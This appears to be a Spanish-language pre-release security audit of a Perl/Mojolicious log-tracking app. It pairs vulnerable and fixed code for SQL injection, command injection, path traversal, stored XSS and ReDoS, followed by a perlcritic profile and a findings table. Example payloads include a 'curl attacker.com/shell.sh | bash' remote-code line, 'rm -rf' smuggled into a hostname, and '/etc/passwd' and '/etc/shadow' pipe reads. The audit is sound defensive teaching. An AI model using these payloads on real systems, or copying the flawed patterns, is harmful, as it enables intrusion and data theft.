lib/LogTracker/Handler.pm antes del lanzamiento$service procedente de la query URL se interpola directamente en la sentencia SQL.
Un atacante puede inyectar ' OR 1=1 -- y extraer toda la tabla de logs o ejecutar DDL con permisos suficientes.
sub search_logs($dbh, $service) { my $sth = $dbh->prepare( "SELECT * FROM logs WHERE service = '$service'" ); # si $service = "' OR 1=1 --" # devuelve TODOS los registros $sth->execute; return $sth->fetchall_arrayref({}); }
sub search_logs($dbh, $service) { # Validar contra lista blanca primero my %ok = map { $_ => 1 } qw(auth api billing metrics); die "Servicio invalido\n" unless $ok{$service}; my $sth = $dbh->prepare( 'SELECT * FROM logs WHERE service = ?' # ✓ ); $sth->execute($service); return $sth->fetchall_arrayref({}); }
system() en forma string con el nombre del host controlado por el usuario.
Payload prod-db; curl attacker.com/shell.sh | bash da ejecucion remota de codigo.
sub ping_host($host) { # forma string → shell expansion system("ping -c 3 $host"); # $host = "8.8.8.8; rm -rf /tmp" # → ejecuta ambos comandos! }
sub ping_host($host) { # Validar formato IP/hostname if ($host =~ /^([\w.-]{1,253})$/) { $host = $1; # untaint } else { die "Host invalido\n" } # forma lista → sin shell system('ping', '-c', '3', $host) == 0 or die "ping fallo\n"; }
open($fh, $path) en forma de dos argumentos.
Si $path = "|cat /etc/passwd|", Perl abre una tuberia y ejecuta el comando.
Ademas, ../../../etc/passwd lee archivos fuera del directorio permitido.
sub download_log($filename) { my $path = "/var/log/app/$filename"; # dos args → peligroso open my $fh, $path; # "|cat /etc/shadow|" → RCE # "../../etc/hosts" → traversal local $/; return <$fh>; }
use Cwd qw(realpath); use File::Spec; sub download_log($filename) { # solo a-z, digits, guion, punto if ($filename =~ /^([a-z0-9._-]+)$/i) { $filename = $1 } else { die "Nombre invalido\n" } my $base = realpath('/var/log/app'); my $real = realpath( File::Spec->catfile($base,$filename)) // die "No existe\n"; die "Traversal bloqueado\n" unless $real =~ /^\Q$base\E\//; open my $fh, '<:encoding(UTF-8)', $real or die "$!\n"; local $/; return <$fh>; }
service_name (introducido por el usuario) se renderiza con <%== %> en lugar de <%= %>, saltando el auto-escape de Mojolicious. Un atacante puede almacenar <script>document.location='...'</script>.
<!-- templates/logs/list.html.ep --> <td> <%== $log->{service_name} %> <!-- raw output, sin escape --> </td> <td><%== $log->{message} %></td>
<!-- templates/logs/list.html.ep --> <td> <%= $log->{service_name} %> <!-- auto-escaped por Mojo --> </td> <td><%= $log->{message} %></td> <!-- O en Perl directo: --> # use HTML::Entities qw(encode_entities); # encode_entities($log->{message})
/^(\d+[-\/.]?)+$/ tiene cuantificadores anidados. Con una entrada de ~30 digitos seguida de un caracter invalido, el backtracking es exponencial y puede colgar el worker de Mojolicious varios segundos (DoS).
sub validate_ts($ts) { # cuantificadores anidados! if ($ts =~ /^(\d+[-\/.]?)+$/) { return $1; } die "Timestamp invalido\n"; } # "12345678901234567890!" → O(2^n)
sub validate_ts($ts) { # patron fijo, sin anidado if ($ts =~ /^(\d{4}-\d{2}-\d{2}(?:[T ]\d{2}:\d{2}:\d{2})?)$/ ) { return $1; # untainted } die "Timestamp invalido\n"; } # O(n) garantizado
# LogTracker Pro — perlcritic security profile # Ejecutar: perlcritic --severity 3 --theme security lib/ || exit 1 severity = 3 theme = security + core # CRITICO: exige tres argumentos en open() [InputOutput::RequireThreeArgOpen] severity = 5 # CRITICO: prohíbe open() con dos argumentos [InputOutput::ProhibitTwoArgOpen] severity = 5 # CRITICO: prohíbe eval con string (RCE) [BuiltinFunctions::ProhibitStringyEval] severity = 5 # CRITICO: exige taint checking en scripts CGI/web [Modules::RequireTaintChecking] severity = 5 # CRITICO: prohíbe filehandles bareword [InputOutput::ProhibitBarewordFileHandles] severity = 5 # ALTO: prohíbe backticks sin captura (usa IPC::Run3) [InputOutput::ProhibitBacktickOperators] severity = 4 # ALTO: exige chequear valor de retorno de syscalls [InputOutput::RequireCheckedSyscalls] functions = :builtins severity = 4 # MEDIO: no usar variables globales sin declarar [Variables::ProhibitPackageVars] severity = 3 # MEDIO: exige use strict + use warnings [TestingAndDebugging::RequireUseStrict] severity = 4 [TestingAndDebugging::RequireUseWarnings] severity = 3
perlcritic --severity 4 --theme security --quiet lib/ || exit 1
| # | Vulnerabilidad | Ubicacion | Tipo | Severidad | Esfuerzo fix |
|---|---|---|---|---|---|
| 1 | SQL Injection en search_logs() | Handler.pm:47 | CWE-89 | Critica | Bajo — 1 linea |
| 2 | Command Injection en ping_host() | Handler.pm:83 | CWE-78 | Critica | Bajo — forma lista |
| 3 | Path Traversal en download_log() | Handler.pm:61 | CWE-22 | Critica | Medio — realpath |
| 4 | XSS stored en template Mojo | list.html.ep:23 | CWE-79 | Alta | Bajo — %> correcto |
| 5 | ReDoS en validate_ts() | Handler.pm:31 | CWE-400 | Alta | Bajo — regex fija |
| 6 | Sin cabeceras de seguridad HTTP | app.pl startup | CWE-693 | Alta | Bajo — Mojo hook |
| 7 | Versiones de modulos CPAN sin fijar | cpanfile | Supply Chain | Alta | Medio — pin vers. |
| 8 | Mensajes de error con stack trace al cliente | Handler.pm:99 | CWE-209 | Media | Bajo — log interno |
| 9 | Falta CSRF token en formularios POST | templates/* | CWE-352 | Media | Medio — plugin Mojo |
? como placeholder; ninguna interpola variables en SQLsystem()/exec() usan forma de lista, no stringopen() usan tres argumentos con modo explicito ('<:encoding(UTF-8)')-T (taint mode) y sanean $ENV{PATH} al inicio<%= %> (auto-escape) en lugar de <%== %> para datos de usuarioafter_dispatch en Mojo envia CSP, X-Frame-Options, HSTS y X-Content-Type-Optionscpanfilerealpath() que la ruta resuelta quede dentro del directorio baseperlcritic --severity 4 --theme security lib/ pasa sin errores en CI antes del merge a main